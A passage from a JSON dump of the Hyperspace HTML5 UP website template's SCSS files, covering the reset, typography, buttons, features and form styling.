    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Basic */\r\n\r\n\t// MSIE: Required for IEMobile.\r\n\t\t@-ms-viewport {\r\n\t\t\twidth: device-width;\r\n\t\t}\r\n\r\n\t// MSIE: Prevents scrollbar from overlapping content.\r\n\t\tbody {\r\n\t\t\t-ms-overflow-style: scrollbar;\r\n\t\t}\r\n\r\n\t// Ensures page width is always >=320px.\r\n\t\t@include breakpoint('<=xsmall') {\r\n\t\t\thtml, body {\r\n\t\t\t\tmin-width: 320px;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t// Set box model to border-box.\r\n\t// Based on css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice\r\n\t\thtml {\r\n\t\t\tbox-sizing: border-box;\r\n\t\t}\r\n\r\n\t\t*, *:before, *:after {\r\n\t\t\tbox-sizing: inherit;\r\n\t\t}\r\n\r\n\tbody {\r\n\t\tbackground: _palette(bg);\r\n\r\n\t\t// Stops initial animations until page loads.\r\n\t\t\t&.is-preload {\r\n\t\t\t\t*, *:before, *:after {\r\n\t\t\t\t\t@include vendor('animation', 'none !important');\r\n\t\t\t\t\t@include vendor('transition', 'none !important');\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t}"
  },
  {
    "path": "assets/sass/base/_reset.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n// Reset.\r\n// Based on meyerweb.com/eric/tools/css/reset (v2.0 | 20110126 | License: public domain)\r\n\r\n\thtml, body, div, span, applet, object,\r\n\tiframe, h1, h2, h3, h4, h5, h6, p, blockquote,\r\n\tpre, a, abbr, acronym, address, big, cite,\r\n\tcode, del, dfn, em, img, ins, kbd, q, s, samp,\r\n\tsmall, strike, strong, sub, sup, tt, var, b,\r\n\tu, i, center, dl, dt, dd, ol, ul, li, fieldset,\r\n\tform, label, legend, table, caption, tbody,\r\n\ttfoot, thead, tr, th, td, article, aside,\r\n\tcanvas, details, embed, figure, figcaption,\r\n\tfooter, header, hgroup, menu, nav, output, ruby,\r\n\tsection, summary, time, mark, audio, video {\r\n\t\tmargin: 0;\r\n\t\tpadding: 0;\r\n\t\tborder: 0;\r\n\t\tfont-size: 100%;\r\n\t\tfont: inherit;\r\n\t\tvertical-align: baseline;\r\n\t}\r\n\r\n\tarticle, aside, details, figcaption, figure,\r\n\tfooter, header, hgroup, menu, nav, section {\r\n\t\tdisplay: block;\r\n\t}\r\n\r\n\tbody {\r\n\t\tline-height: 1;\r\n\t}\r\n\r\n\tol, ul {\r\n\t\tlist-style:none;\r\n\t}\r\n\r\n\tblockquote,\tq {\r\n\t\tquotes: none;\r\n\r\n\t\t&:before,\r\n\t\t&:after {\r\n\t\t\tcontent: '';\r\n\t\t\tcontent: none;\r\n\t\t}\r\n\t}\r\n\r\n\ttable {\r\n\t\tborder-collapse: collapse;\r\n\t\tborder-spacing: 0;\r\n\t}\r\n\r\n\tbody {\r\n\t\t-webkit-text-size-adjust: none;\r\n\t}\r\n\r\n\tmark {\r\n\t\tbackground-color: transparent;\r\n\t\tcolor: inherit;\r\n\t}\r\n\r\n\tinput::-moz-focus-inner {\r\n\t\tborder: 0;\r\n\t\tpadding: 0;\r\n\t}\r\n\r\n\tinput, select, textarea {\r\n\t\t-moz-appearance: none;\r\n\t\t-webkit-appearance: none;\r\n\t\t-ms-appearance: none;\r\n\t\tappearance: none;\r\n\t}"
  },
  {
    "path": "assets/sass/base/_typography.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Type */\r\n\r\n\tbody, input, select, textarea {\r\n\t\tcolor: _palette(fg);\r\n\t\tfont-family: _font(family);\r\n\t\tfont-size: 16.5pt;\r\n\t\tfont-weight: _font(weight);\r\n\t\tline-height: 1.75;\r\n\r\n\t\t@include breakpoint('<=xlarge') {\r\n\t\t\tfont-size: 13pt;\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=large') {\r\n\t\t\tfont-size: 12pt;\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=xxsmall') {\r\n\t\t\tfont-size: 11pt;\r\n\t\t}\r\n\t}\r\n\r\n\ta {\r\n\t\t@include vendor('transition', (\r\n\t\t\t'color #{_duration(transition)} ease',\r\n\t\t\t'border-bottom-color #{_duration(transition)} ease'\r\n\t\t));\r\n\t\tborder-bottom: dotted 1px _palette(fg-light);\r\n\t\tcolor: inherit;\r\n\t\ttext-decoration: none;\r\n\r\n\t\t&:hover {\r\n\t\t\tborder-bottom-color: transparent;\r\n\t\t\tcolor: _palette(fg-bold);\r\n\t\t}\r\n\t}\r\n\r\n\tstrong, b {\r\n\t\tcolor: _palette(fg-bold);\r\n\t\tfont-weight: _font(weight-bold);\r\n\t}\r\n\r\n\tem, i {\r\n\t\tfont-style: italic;\r\n\t}\r\n\r\n\tp {\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\t}\r\n\r\n\th1, h2, h3, h4, h5, h6 {\r\n\t\tcolor: _palette(fg-bold);\r\n\t\tfont-weight: _font(weight-bold);\r\n\t\tline-height: 1.5;\r\n\t\tmargin: 0 0 (_size(element-margin) * 0.25) 0;\r\n\r\n\t\ta {\r\n\t\t\tcolor: inherit;\r\n\t\t\ttext-decoration: none;\r\n\t\t}\r\n\t}\r\n\r\n\th1 {\r\n\t\tfont-size: 2.75em;\r\n\r\n\t\t&.major {\r\n\t\t\tmargin: 0 0 (_size(element-margin) * 0.65) 0;\r\n\t\t\tposition: relative;\r\n\t\t\tpadding-bottom: 0.35em;\r\n\r\n\t\t\t&:after {\r\n\t\t\t\t@include vendor('background-image', 'linear-gradient(to right, #{_palette(accent1)}, #{_palette(accent3)})');\r\n\t\t\t\t@include vendor('transition', 'max-width #{_duration(transition)} ease');\r\n\t\t\t\tborder-radius: 0.2em;\r\n\t\t\t\tbottom: 0;\r\n\t\t\t\tcontent: '';\r\n\t\t\t\theight: 0.05em;\r\n\t\t\t\tposition: absolute;\r\n\t\t\t\tright: 0;\r\n\t\t\t\twidth: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\th2 {\r\n\t\tfont-size: 1.75em;\r\n\t}\r\n\r\n\th3 {\r\n\t\tfont-size: 1.1em;\r\n\t}\r\n\r\n\th4 {\r\n\t\tfont-size: 1em;\r\n\t}\r\n\r\n\th5 {\r\n\t\tfont-size: 0.8em;\r\n\t}\r\n\r\n\th6 {\r\n\t\tfont-size: 0.6em;\r\n\t}\r\n\r\n\t@include breakpoint('<=small') {\r\n\t\th1 {\r\n\t\t\tfont-size: 2em;\r\n\t\t}\r\n\r\n\t\th2 {\r\n\t\t\tfont-size: 1.25em;\r\n\t\t}\r\n\r\n\t\th3 {\r\n\t\t\tfont-size: 1em;\r\n\t\t}\r\n\r\n\t\th4 {\r\n\t\t\tfont-size: 0.8em;\r\n\t\t}\r\n\r\n\t\th5 {\r\n\t\t\tfont-size: 0.6em;\r\n\t\t}\r\n\r\n\t\th6 {\r\n\t\t\tfont-size: 0.6em;\r\n\t\t}\r\n\t}\r\n\r\n\tsub {\r\n\t\tfont-size: 0.8em;\r\n\t\tposition: relative;\r\n\t\ttop: 0.5em;\r\n\t}\r\n\r\n\tsup {\r\n\t\tfont-size: 0.8em;\r\n\t\tposition: relative;\r\n\t\ttop: -0.5em;\r\n\t}\r\n\r\n\tblockquote {\r\n\t\tborder-left: solid (_size(border-width) * 4) _palette(border);\r\n\t\tfont-style: italic;\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\t\tpadding: (_size(element-margin) / 4) 0 (_size(element-margin) / 4) _size(element-margin);\r\n\t}\r\n\r\n\tcode {\r\n\t\tbackground: _palette(border-bg);\r\n\t\tborder-radius: _size(border-radius);\r\n\t\tborder: solid _size(border-width) _palette(border);\r\n\t\tfont-family: _font(family-fixed);\r\n\t\tfont-size: 0.9em;\r\n\t\tmargin: 0 0.25em;\r\n\t\tpadding: 0.25em 0.65em;\r\n\t}\r\n\r\n\tpre {\r\n\t\t-webkit-overflow-scrolling: touch;\r\n\t\tfont-family: _font(family-fixed);\r\n\t\tfont-size: 0.9em;\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\r\n\t\tcode {\r\n\t\t\tdisplay: block;\r\n\t\t\tline-height: 1.75em;\r\n\t\t\tpadding: 1em 1.5em;\r\n\t\t\toverflow-x: auto;\r\n\t\t}\r\n\t}\r\n\r\n\thr {\r\n\t\tborder: 0;\r\n\t\tborder-bottom: solid _size(border-width) _palette(border);\r\n\t\tmargin: _size(element-margin) 0;\r\n\r\n\t\t&.major {\r\n\t\t\tmargin: (_size(element-margin) * 1.5) 0;\r\n\t\t}\r\n\t}\r\n\r\n\t.align-left {\r\n\t\ttext-align: left;\r\n\t}\r\n\r\n\t.align-center {\r\n\t\ttext-align: center;\r\n\t}\r\n\r\n\t.align-right {\r\n\t\ttext-align: right;\r\n\t}"
  },
  {
    "path": "assets/sass/components/_actions.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Actions */\r\n\r\n\tul.actions {\r\n\t\t@include vendor('display', 'flex');\r\n\t\tcursor: default;\r\n\t\tlist-style: none;\r\n\t\tmargin-left: (_size(element-margin) * -0.5);\r\n\t\tpadding-left: 0;\r\n\r\n\t\tli {\r\n\t\t\tpadding: 0 0 0 (_size(element-margin) * 0.5);\r\n\t\t\tvertical-align: middle;\r\n\t\t}\r\n\r\n\t\t&.special {\r\n\t\t\t@include vendor('justify-content', 'center');\r\n\t\t\twidth: 100%;\r\n\t\t\tmargin-left: 0;\r\n\r\n\t\t\tli {\r\n\t\t\t\t&:first-child {\r\n\t\t\t\t\tpadding-left: 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.stacked {\r\n\t\t\t@include vendor('flex-direction', 'column');\r\n\t\t\tmargin-left: 0;\r\n\r\n\t\t\tli {\r\n\t\t\t\tpadding: (_size(element-margin) * 0.65) 0 0 0;\r\n\r\n\t\t\t\t&:first-child {\r\n\t\t\t\t\tpadding-top: 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.fit {\r\n\t\t\twidth: calc(100% + #{_size(element-margin) * 0.5});\r\n\r\n\t\t\tli {\r\n\t\t\t\t@include vendor('flex-grow', '1');\r\n\t\t\t\t@include vendor('flex-shrink', '1');\r\n\t\t\t\twidth: 100%;\r\n\r\n\t\t\t\t> * {\r\n\t\t\t\t\twidth: 100%;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t&.stacked {\r\n\t\t\t\twidth: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=xsmall') {\r\n\t\t\t&:not(.fixed) {\r\n\t\t\t\t@include vendor('flex-direction', 'column');\r\n\t\t\t\tmargin-left: 0;\r\n\t\t\t\twidth: 100% !important;\r\n\r\n\t\t\t\tli {\r\n\t\t\t\t\t@include vendor('flex-grow', '1');\r\n\t\t\t\t\t@include vendor('flex-shrink', '1');\r\n\t\t\t\t\tpadding: (_size(element-margin) * 0.5) 0 0 0;\r\n\t\t\t\t\ttext-align: center;\r\n\t\t\t\t\twidth: 100%;\r\n\r\n\t\t\t\t\t> * {\r\n\t\t\t\t\t\twidth: 100%;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t&:first-child {\r\n\t\t\t\t\t\tpadding-top: 0;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\tinput[type=\"submit\"],\r\n\t\t\t\t\tinput[type=\"reset\"],\r\n\t\t\t\t\tinput[type=\"button\"],\r\n\t\t\t\t\tbutton,\r\n\t\t\t\t\t.button {\r\n\t\t\t\t\t\twidth: 100%;\r\n\r\n\t\t\t\t\t\t&.icon {\r\n\t\t\t\t\t\t\t&:before {\r\n\t\t\t\t\t\t\t\tmargin-left: -0.5rem;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "assets/sass/components/_box.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Box */\r\n\r\n\t.box {\r\n\t\tborder-radius: _size(border-radius);\r\n\t\tborder: solid _size(border-width) _palette(border);\r\n\t\tmargin-bottom: _size(element-margin);\r\n\t\tpadding: 1.5em;\r\n\r\n\t\t> :last-child,\r\n\t\t> :last-child > :last-child,\r\n\t\t> :last-child > :last-child > :last-child {\r\n\t\t\tmargin-bottom: 0;\r\n\t\t}\r\n\r\n\t\t&.alt {\r\n\t\t\tborder: 0;\r\n\t\t\tborder-radius: 0;\r\n\t\t\tpadding: 0;\r\n\t\t}\r\n\t}"
  },
  {
    "path": "assets/sass/components/_button.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Button */\r\n\r\n\tinput[type=\"submit\"],\r\n\tinput[type=\"reset\"],\r\n\tinput[type=\"button\"],\r\n\tbutton,\r\n\t.button {\r\n\t\t@include vendor('appearance', 'none');\r\n\t\t@include vendor('transition', (\r\n\t\t\t'border-color #{_duration(transition)} ease'\r\n\t\t));\r\n\t\tbackground-color: transparent;\r\n\t\tborder: solid 1px !important;\r\n\t\tborder-color: _palette(border) !important;\r\n\t\tborder-radius: 3em;\r\n\t\tcolor: _palette(fg-bold) !important;\r\n\t\tcursor: pointer;\r\n\t\tdisplay: inline-block;\r\n\t\tfont-size: 0.6em;\r\n\t\tfont-weight: _font(weight-bold);\r\n\t\theight: calc(4.75em + 2px);\r\n\t\tletter-spacing: _font(kerning-alt);\r\n\t\tline-height: 4.75em;\r\n\t\toutline: 0;\r\n\t\tpadding: 0 3.75em;\r\n\t\tposition: relative;\r\n\t\ttext-align: center;\r\n\t\ttext-decoration: none;\r\n\t\ttext-transform: uppercase;\r\n\t\twhite-space: nowrap;\r\n\r\n\t\t&:after {\r\n\t\t\t@include vendor('transform', 'scale(0.25)');\r\n\t\t\t@include vendor('pointer-events', 'none');\r\n\t\t\t@include vendor('transition', (\r\n\t\t\t\t'opacity #{_duration(transition)} ease',\r\n\t\t\t\t'transform #{_duration(transition)} ease'\r\n\t\t\t));\r\n\t\t\tbackground: _palette(fg-bold);\r\n\t\t\tborder-radius: 3em;\r\n\t\t\tcontent: '';\r\n\t\t\theight: 100%;\r\n\t\t\tleft: 0;\r\n\t\t\topacity: 0;\r\n\t\t\tposition: absolute;\r\n\t\t\ttop: 0;\r\n\t\t\twidth: 100%;\r\n\t\t}\r\n\r\n\t\t&.icon {\r\n\t\t\t&:before {\r\n\t\t\t\tmargin-right: 0.75em;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.fit {\r\n\t\t\twidth: 100%;\r\n\t\t}\r\n\r\n\t\t&.small {\r\n\t\t\tfont-size: 0.4em;\r\n\t\t}\r\n\r\n\t\t&.large {\r\n\t\t\tfont-size: 0.8em;\r\n\t\t}\r\n\r\n\t\t&.primary {\r\n\t\t\tbackground-color: _palette(fg-bold);\r\n\t\t\tcolor: _palette(bg) !important;\r\n\r\n\t\t\t&:after {\r\n\t\t\t\tdisplay: none;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.disabled,\r\n\t\t&:disabled {\r\n\t\t\tcursor: default;\r\n\t\t\topacity: 0.5;\r\n\t\t\t@include vendor('pointer-events', 'none');\r\n\t\t}\r\n\r\n\t\t&:hover {\r\n\t\t\tborder-color: _palette(fg) !important;\r\n\r\n\t\t\t&:after {\r\n\t\t\t\topacity: 0.05;\r\n\t\t\t\t@include vendor('transform', 'scale(1)');\r\n\t\t\t}\r\n\r\n\t\t\t&:active {\r\n\t\t\t\tborder-color: _palette(fg-bold) !important;\r\n\r\n\t\t\t\t&:after {\r\n\t\t\t\t\topacity: 0.1;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "assets/sass/components/_contact.scss",
    "content": "///\n/// Hyperspace by HTML5 UP\n/// html5up.net | @ajlkn\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\n///\n\n/* Contact */\n\n\tul.contact {\n\t\tlist-style: none;\n\t\tpadding: 0;\n\n\t\t> li {\n\t\t\tpadding: 0;\n\t\t\tmargin: 1.5em 0 0 0;\n\n\t\t\t&:first-child {\n\t\t\t\tmargin-top: 0;\n\t\t\t}\n\t\t}\n\t}"
  },
  {
    "path": "assets/sass/components/_features.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Features */\r\n\r\n\t.features {\r\n\t\t@include vendor('display', 'flex');\r\n\t\t@include vendor('flex-wrap', 'wrap');\r\n\t\tborder-radius: _size(border-radius);\r\n\t\tborder: solid 1px _palette(border);\r\n\t\tbackground: _palette(border-bg);\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\r\n\t\tsection {\r\n\t\t\t@include padding(3em, 3em, (0.5em, 0, 0, 4em));\r\n\t\t\twidth: 50%;\r\n\t\t\tborder-top: solid 1px _palette(border);\r\n\t\t\tposition: relative;\r\n\r\n\t\t\t&:nth-child(-n + 2) {\r\n\t\t\t\tborder-top-width: 0;\r\n\t\t\t}\r\n\r\n\t\t\t&:nth-child(2n) {\r\n\t\t\t\tborder-left: solid 1px _palette(border);\r\n\t\t\t}\r\n\r\n\t\t\t.icon {\r\n\t\t\t\t@include vendor('transition', (\r\n\t\t\t\t\t'opacity #{_duration(activation) * 0.5} ease',\r\n\t\t\t\t\t'transform #{_duration(activation) * 0.5} ease'\r\n\t\t\t\t));\r\n\t\t\t\t@include vendor('transition-delay', '1s');\r\n\t\t\t\t@include vendor('transform', 'scale(1)');\r\n\t\t\t\tposition: absolute;\r\n\t\t\t\tleft: 3em;\r\n\t\t\t\ttop: 3em;\r\n\t\t\t\topacity: 1;\r\n\t\t\t}\r\n\r\n\t\t\t@for $i from 1 through _misc(max-features) {\r\n\t\t\t\t&:nth-child(#{$i}) {\r\n\t\t\t\t\t.icon {\r\n\t\t\t\t\t\t@include vendor('transition-delay', '#{(_duration(transition) * 0.75 * $i)}');\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.inactive {\r\n\t\t\tsection {\r\n\t\t\t\t.icon {\r\n\t\t\t\t\t@include vendor('transform', 'scale(0.5)');\r\n\t\t\t\t\topacity: 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=medium') {\r\n\t\t\tdisplay: block;\r\n\r\n\t\t\tsection {\r\n\t\t\t\tborder-top-width: 1px !important;\r\n\t\t\t\tborder-left-width: 0 !important;\r\n\t\t\t\twidth: 100%;\r\n\r\n\t\t\t\t&:first-child {\r\n\t\t\t\t\tborder-top-width: 0 !important;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=small') {\r\n\t\t\tsection {\r\n\t\t\t\t@include padding(2em, 1.5em, (0.5em, 0, 0, 4em));\r\n\r\n\t\t\t\t.icon {\r\n\t\t\t\t\tleft: 1.5em;\r\n\t\t\t\t\ttop: 2em;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=xsmall') {\r\n\t\t\tsection {\r\n\t\t\t\t@include padding(2em, 1.5em, (0, 0, 0, 0));\r\n\r\n\t\t\t\t.icon {\r\n\t\t\t\t\tleft: 0;\r\n\t\t\t\t\tposition: relative;\r\n\t\t\t\t\ttop: 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "assets/sass/components/_form.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Form */\r\n\r\n\tform {\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\r\n\t\t> :last-child {\r\n\t\t\tmargin-bottom: 0;\r\n\t\t}\r\n\r\n\t\t> .fields {\r\n\t\t\t$gutter: (_size(element-margin) * 0.75);\r\n\r\n\t\t\t@include vendor('display', 'flex');\r\n\t\t\t@include vendor('flex-wrap', 'wrap');\r\n\t\t\twidth: calc(100% + #{$gutter * 2});\r\n\t\t\tmargin: ($gutter * -1) 0 _size(element-margin) ($gutter * -1);\r\n\r\n\t\t\t> .field {\r\n\t\t\t\t@include vendor('flex-grow', '0');\r\n\t\t\t\t@include vendor('flex-shrink', '0');\r\n\t\t\t\tpadding: $gutter 0 0 $gutter;\r\n\t\t\t\twidth: calc(100% - #{$gutter * 1});\r\n\r\n\t\t\t\t&.half {\r\n\t\t\t\t\twidth: calc(50% - #{$gutter * 0.5});\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.third {\r\n\t\t\t\t\twidth: calc(#{100% / 3} - #{$gutter * (1 / 3)});\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.quarter {\r\n\t\t\t\t\twidth: calc(25% - #{$gutter * 0.25});\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=xsmall') {\r\n\t\t\t> .fields {\r\n\t\t\t\t$gutter: (_size(element-margin) * 0.75);\r\n\r\n\t\t\t\twidth: calc(100% + #{$gutter * 2});\r\n\t\t\t\tmargin: ($gutter * -1) 0 _size(element-margin) ($gutter * -1);\r\n\r\n\t\t\t\t> .field {\r\n\t\t\t\t\tpadding: $gutter 0 0 $gutter;\r\n\t\t\t\t\twidth: calc(100% - #{$gutter * 1});\r\n\r\n\t\t\t\t\t&.half {\r\n\t\t\t\t\t\twidth: calc(100% - #{$gutter * 1});\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t&.third {\r\n\t\t\t\t\t\twidth: calc(100% - #{$gutter * 1});\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t&.quarter {\r\n\t\t\t\t\t\twidth: calc(100% - #{$gutter * 1});\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tlabel {\r\n\t\tcolor: _palette(fg-bold);\r\n\t\tfont-weight: _font(weight-bold);\r\n\t\tline-height: 1.5;\r\n\t\tmargin: 0 0 (_size(element-margin) * 0.35) 0;\r\n\t\tdisplay: block;\r\n\t\tfont-size: 1.1em;\r\n\t}\r\n\r\n\tinput[type=\"text\"],\r\n\tinput[type=\"password\"],\r\n\tinput[type=\"email\"],\r\n\tinput[type=\"tel\"],\r\n\tselect,\r\n\ttextarea {\r\n\t\t@include vendor('appearance', 'none');\r\n\t\tbackground: _palette(border-bg);\r\n\t\tborder-radius: _size(border-radius);\r\n\t\tborder: none;\r\n\t\tborder: solid _size(border-width) _palette(border);\r\n\t\tcolor: inherit;\r\n\t\tdisplay: block;\r\n\t\toutline: 0;\r\n\t\tpadding: 0 1em;\r\n\t\ttext-decoration: none;\r\n\t\twidth: 100%;\r\n\r\n\t\t&:invalid {\r\n\t\t\tbox-shadow: none;\r\n\t\t}\r\n\r\n\t\t&:focus {\r\n\t\t\tborder-color: _palette(fg-bold);\r\n\t\t\tbox-shadow: 0 0 0 _size(border-width) _palette(fg-bold);\r\n\t\t}\r\n\t}\r\n\r\n\tselect {\r\n\t\tbackground-image: svg-url(\"<svg xmlns='http://www.w3.org/2000/svg' width='40' height='40' preserveAspectRatio='none' viewBox='0 0 40 40'><path d='M9.4,12.3l10.4,10.4l10.4-10.4c0.2-0.2,0.5-0.4,0.9-0.4c0.3,0,0.6,0.1,0.9,0.4l3.3,3.3c0.2,0.2,0.4,0.5,0.4,0.9 c0,0.4-0.1,0.6-0.4,0.9L20.7,31.9c-0.2,0.2-0.5,0.4-0.9,0.4c-0.3,0-0.6-0.1-0.9-0.4L4.3,17.3c-0.2-0.2-0.4-0.5-0.4-0.9 c0-0.4,0.1-0.6,0.4-0.9l3.3-3.3c0.2-0.2,0.5-0.4,0.9-0.4S9.1,12.1,9.4,12.3z' fill='#{_palette(border)}' /></svg>\");\r\n\t\tbackground-size: 1.25rem;\r\n\t\tbackground-repeat: no-repeat;\r\n\t\tbackground-position: calc(100% - 1rem) center;\r\n\t\theight: _size(element-height);\r\n\t\tpadding-right: _size(element-height);\r\n\t\ttext-overflow: ellipsis;\r\n\r\n\t\toption {\r\n\t\t\tcolor: _palette(fg-bold);\r\n\t\t\tbackground: _palette(bg);\r\n\t\t}\r\n\r\n\t\t&:focus {\r\n\t\t\t&::-ms-value {\r\n\t\t\t\tbackground-color: transparent;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&::-ms-expand {\r\n\t\t\tdisplay: none;\r\n\t\t}\r\n\t}\r\n\r\n\tinput[type=\"text\"],\r\n\tinput[type=\"password\"],\r\n\tinput[type=\"email\"],\r\n\tselect {\r\n\t\theight: _size(element-height);\r\n\t}\r\n\r\n\ttextarea {\r\n\t\tpadding: 0.75em 1em;\r\n\r\n\t\tbody.is-ie & {\r\n\t\t\tmin-height: 10em;\r\n\t\t}\r\n\t}\r\n\r\n\tinput[type=\"checkbox\"],\r\n\tinput[type=\"radio\"], {\r\n\t\t@include vendor('appearance', 'none');\r\n\t\tdisplay: block;\r\n\t\tfloat: left;\r\n\t\tmargin-right: -2em;\r\n\t\topacity: 0;\r\n\t\twidth: 1em;\r\n\t\tz-index: -1;\r\n\r\n\t\t& + label {\r\n\t\t\t@include icon(false, solid);\r\n\t\t\tcolor: _palette(fg);\r\n\t\t\tcursor: pointer;\r\n\t\t\tdisplay: inline-block;\r\n\t\t\tfont-size: 1em;\r\n\t\t\tfont-weight: _font(weight);\r\n\t\t\tpadding-left: (_size(element-height) * 0.6) + 0.75em;\r\n\t\t\tpadding-right: 0.75em;\r\n\t\t\tposition: relative;\r\n\r\n\t\t\t&:before {\r\n\t\t\t\tbackground: _palette(border-bg);\r\n\t\t\t\tborder-radius: _size(border-radius);\r\n\t\t\t\tborder: solid _size(border-width) _palette(border);\r\n\t\t\t\tcontent: '';\r\n\t\t\t\tdisplay: inline-block;\r\n\t\t\t\tfont-size: 0.8em;\r\n\t\t\t\theight: (_size(element-height) * 0.75);\r\n\t\t\t\tleft: 0;\r\n\t\t\t\tline-height: (_size(element-height) * 0.75);\r\n\t\t\t\tposition: absolute;\r\n\t\t\t\ttext-align: center;\r\n\t\t\t\ttop: 0;\r\n\t\t\t\twidth: (_size(element-height) * 0.75);\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&:checked + label {\r\n\t\t\t&:before {\r\n\t\t\t\tbackground: _palette(fg-bold);\r\n\t\t\t\tborder-color: _palette(fg-bold);\r\n\t\t\t\tcolor: _palette(accent3);\r\n\t\t\t\tcontent: '\\f00c';\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&:focus + label {\r\n\t\t\t&:before {\r\n\t\t\t\tborder-color: _palette(fg-bold);\r\n\t\t\t\tbox-shadow: 0 0 0 _size(border-width) _palette(fg-bold);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tinput[type=\"checkbox\"] {\r\n\t\t& + label {\r\n\t\t\t&:before {\r\n\t\t\t\tborder-radius: _size(border-radius);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tinput[type=\"radio\"] {\r\n\t\t& + label {\r\n\t\t\t&:before {\r\n\t\t\t\tborder-radius: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\t::-webkit-input-placeholder {\r\n\t\tcolor: _palette(fg-light) !important;\r\n\t\topacity: 1.0;\r\n\t}\r\n\r\n\t:-moz-placeholder {\r\n\t\tcolor: _palette(fg-light) !important;\r\n\t\topacity: 1.0;\r\n\t}\r\n\r\n\t::-moz-placeholder {\r\n\t\tcolor: _palette(fg-light) !important;\r\n\t\topacity: 1.0;\r\n\t}\r\n\r\n\t:-ms-input-placeholder {\r\n\t\tcolor: _palette(fg-light) !important;\r\n\t\topacity: 1.0;\r\n\t}"
  },
  {
    "path": "assets/sass/components/_icon.scss",
